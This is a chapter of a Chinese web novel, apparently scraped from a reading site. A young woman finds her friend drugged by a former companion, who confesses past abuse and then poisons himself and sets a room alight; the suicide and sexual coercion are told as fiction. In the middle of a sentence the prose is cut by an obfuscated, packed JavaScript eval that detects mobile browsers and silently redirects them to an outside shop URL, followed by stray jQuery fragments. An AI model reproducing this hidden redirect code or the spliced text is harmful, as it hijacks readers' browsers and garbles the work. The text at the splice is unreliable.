92. 第 92 章

作品:《内耗十年后她潇洒成魔了

    八月十五这日白天里是个晴天,白霜叶不开心地拒了城中数个邀约,也不理会信徒的祈愿,悠哉悠哉地在楼里造作了半日。


    她起床时已近午时,不梳洗,也不穿外衣,只吃了颗果子,便披头散发光着脚丫咿咿呀呀地唱了半天,一会儿唱“寡人不道……悔之无及……如之奈何”,一会儿又换了副腔调唱道“唉,罢、罢,这一株梨树,是我杨玉环结果之处了”。


    她一个人疯疯癫癫玩耍得快乐,青袖则避开她,在一旁整理起自己和盛明希的储物袋。


    她自己的无非还是从玄商和厉炎那儿收缴的那些,两个人臭味相投,一半是些阴险狠辣的玩意儿,厉害倒是厉害,只是一个不小心就能把自己玩死了,她搁置到一边。


    新鲜的是盛明希留给她的,他送过她碧玉香球、虾须镯和莲花宝塔,后两样她收了,只碧玉香球她当时拒绝了。正好她今日穿了新做的雨过天青的衣裳,便将那绿牡丹簪在发髻上,她不想再照镜子,只望着关着的窗户出神。


    今夜有灯会,商家们早早地就在街上占了摊位,天还没黑就摆好了东西,有人已经开始叫卖,很是热闹。


    楼里今年也比去年人多,花婆婆扭伤了脚,但仍指挥着新来的婢女小雪张罗了一大桌子菜,原想着四个人和和美美地吃上一顿饭,却不料碰过一杯酒之后,白霜叶只啃了一只鸡腿,便像是突然感应到了什么,鸡也不吃了,擦了擦嘴交代了一句出去一趟就没了人影。


    起初花婆婆是不担心的,埋怨了她几句也就算了,特意把鸡给她留着,招呼着青袖和小雪吃鱼,饭后又劝说她们两个年轻姑娘出去转转。


    小雪性子孤僻不爱去凑热闹,花婆婆便再去劝青袖。


    青袖喝了两杯酒,笑着说道:“婆婆,我不能出门,否则会出事的。”


    花婆婆想起她上上回来这儿的情景,琢磨之后还是信了她的话。


    但月至中天,街上都没什么人了,白霜叶还没回来,小雪出去找了一圈没发现她踪影,花婆婆不放心,拄着拐杖就要亲自出去找,小雪拦不住,唤来了青袖。


    花婆婆皱巴巴的手紧握着青袖,捂着胸口,哀求道:“郑姑娘,老婆子心口从没这么慌过,一定是娘娘出事了,你去把她找回来好不好?”


    青袖尚且有些犹豫,花婆婆却推开搀扶着她的小雪,扑通一声给青袖跪了下来,浑浊的双目中留下两行蜿蜒的泪水:“姑娘,你信我,老婆子求求你了!”


    虽然觉得白霜叶再不济也是个半仙之体出不了什么大事,她没必要冒这个险出门,但青袖最怕老人和小孩哭了。她叹了口气,点了点头,扶起花婆婆,认命地出了望月楼的门。


    娘娘庙里没有,六朝居里没有,看烟花和放花灯的地方都没有,正在她一筹莫展之时,意外遇上了穿着衙门公服的秦少成。


    “果然是你,我还以为自己看错了。”秦少成愣了愣,率先开了口。


    敌友不明,青袖没摘面纱,手中见我现形。


    秦少成了然,举起两只手来:“我办公差遇上观里新来的人,偶然听说了你的事,你放心,我现在不是浮云派的弟子了,我不掺和门中的事。”


    青袖姑且信他,问他:“今夜是你巡街,你有没有看见过白娘娘?”


    秦少成摇了摇头,但却告诉她另一件事:“但我今天刚在望月楼附近见过何大小姐,倒是没听香儿说起这事,她应当也是不知道的。”


    白九?他什么时候离开洛阳回青州的?


    但更多的事秦少成也说不清楚。


    青袖突然就有了和花婆婆相似的直觉。


    “秦兄,麻烦你帮我看顾一下望月楼,白霜叶自己回去最好,但我得去趟莲花镇才能安心。”


    秦少成答应了。


    她以最快的速度赶到何家的绣楼下,果不其然其上灯火通明。


    她最希望的是这小楼有了新的主人,再或者是白九独自一人故地重游,但推门而入,她还是失望了。


    白霜叶在地上昏迷不醒,屋内弥漫着霉味,各处都落了灰尘,只有几样东西是干净的。


    数盏红烛,茂盛的文竹盆栽,盛满了水的铜盆,还有数十枚拳头大的灵石。


    迷魂香仍然燃着,铜镜映出白九清艳的一张脸,他在镜中看清来人,惊讶之后,叹了口气,回头一笑,勾魂夺魄:“早知道你在青州,我就选你好了。”


    又是移花接木的阵法。


    青袖没与她理论,一剑将分着摆放的灵石归拢到一处,先去查看白霜叶的情况。


    “她没死,你紧张什么?不先跟老朋友打个招呼吗?”白九起身,拍拍衣角的灰尘,有些不满。


    慢慢给白霜叶输送着灵力,青袖质问道:“你刚刚不是还想要我的肉身吗?”


    “没有一点欣赏的话,怎么能做朋友呢?”白九反驳道。


    青袖沉默了半晌,如果当初看到《凤翔记》上那句手写的诗之时她没有欣赏主人的狂傲,那会不会便不会有此时此刻的情景。


    “你在洛阳发生了什么?”


    她这样敏锐,白九奇异地有些欣慰,嘴上却仍在倔强,无所谓地轻笑道:“能有什么事?花天酒地,声色犬马,纸醉金迷,令我乐不思蜀也。只不过我厌烦了现在这张脸,想再换一张罢了。”


    青袖不信她的鬼话,紧盯着她,直言不讳地问道:“那与你欢好的是男人,还是女人?”


    白九已经不是那个跟别人提及男欢女爱之时会羞涩脸红的何小姐,眼前这人一击即中他内心深处的症结,他五味杂陈,对这改变了他人生的女人又爱又恨。


    他没有回答她的问题,只是突然冲他叫嚷道:“为什么你要抓住我叫我不能远走高飞?为什么不能允许我永远陪着你?为什么要把我一个人留在洛阳那个吃人的销金窟里?”


    明知是他在无理取闹,而她对于每一个问题都有无懈可击的理由,能把所有的过错都归因到他自己身上。可透过白九郎这副糜艳的皮囊,她看到的依旧是何绵绵那个横冲直撞却没有出路的灵魂,她不忍心苛责他,只能握紧了无辜的白霜叶的手,轻声跟他说道:“对不起。”


    她没有做错什么,却依旧为他的痛苦感到抱歉。


    刚在还快要爆炸的白九如被擒住七寸,一下子泄了气。


    他任性地推开昏迷的白霜叶,自己依偎


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932874|187423||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到青袖身边。明明他的体型更为高大宽阔,却蜷缩着如同一个孩子。


    好在白霜叶并无大碍,为了避免再激怒白九,她只能任由他靠着,耐心跟他解释:“我现在是个被两族追杀的逃犯,在白娘娘的家里躲藏,如果没有意外,我本来打算秋天先去洛阳看你,再去长安看苏木的。之前给你往赵鑫那边寄过一些海货,你还喜欢吗?”


    他摇了摇头,却依旧不肯多说话。


    灯花噼啪作响,良久之后,他吸了一口气,方才说道:“你走了之后,洛阳便没那么好玩了,喝酒、歌舞、投壶、骑马都很无趣,赵鑫想拿我讨贵人们欢心,刚开始还肯哄着我,后来我打了一个伸手摸我的男人,他又叫我去陪女人,那女人身份更高也更可怕,宴席上有很多人,都失了理智,我很害怕想要逃走,女人却叫人给我喂了药,还随手推给我一个婢女……”


    他停顿了一下,像是恐惧,又像是不想被推开,他抱得青袖更紧了,接着说道:“我……伤害了她。”


    “郑青袖。”他带着哽咽的哭腔唤她:“我跟她道歉,把所有的钱都给了她,我没有办法原谅这样的自己,我受不了自己的身体,我逃离了洛阳,浑浑噩噩回了这个家里。”


    “如果这里还有人想起何绵绵,我可能会好受一些,但是没有。他们告诉我田田嫁了,怀着孩子被魏三推搡摔倒了,结果小产失血过多死了。”


    “我快疯了,我一直做噩梦,梦里分不清下半身都是血的女子是田田还是那个婢女。我活不下去了,我知道做女人不易,可我还是想做回女人。我真的疯了。”


    “我看中了白娘娘的身体,但上天已经眷顾过我一回,这一次我失败了。你放心,她马上就能醒过来。”


    “对不起,求求你别怨我,别后悔帮我。”


    “我只是想死去时对得起我受过的苦难,那些只因为我是个女儿……就该经受的苦难。”


    “真的……对不起。”


    他的话音越来越低,青袖觉察到不对,突然发现铜镜边上碧绿的瓷瓶,然后低头看她。


    她嘴角留下一道黑血,松开手,笑着将烛台扔到那绣了一半牡丹的绣架上,竹木和白布易燃,迅速燃起熊熊大火。


    她又将准备救火的青袖推到白霜叶身上,笑得轻松释怀:“临死之前能再见你一面说说心里话已经很好了。但这是我想做的事,请你不要阻止我。”


    青袖只能最后看了一眼她,抱起白霜叶跃出窗外。


    她没有办法待在楼下眼睁睁看着一个人死去却什么也不做,她逃跑似的离开了莲花镇,在夜风中为何绵绵留下了眼泪。


    高空之中风凉,白霜叶是被冻醒的,她身上还是没什么力气,觉得有些丢脸,埋在青袖胸前弱弱解释道:“是那个姓何的小姑娘有点本事,先拿廉贞大人的消息诱我出去,等我赶到我的庙里,又是好大一个天师钟,老娘还是妖怪嘛,那玩意儿克我啊!不怪我……”


    “嗯,不怪你。”


    白霜叶这就安心了,任由她抱着,直到进了望月楼脚才落地。


    作为兽身成妖,她嗅觉比青袖更敏锐。


    “等等,有血腥味!”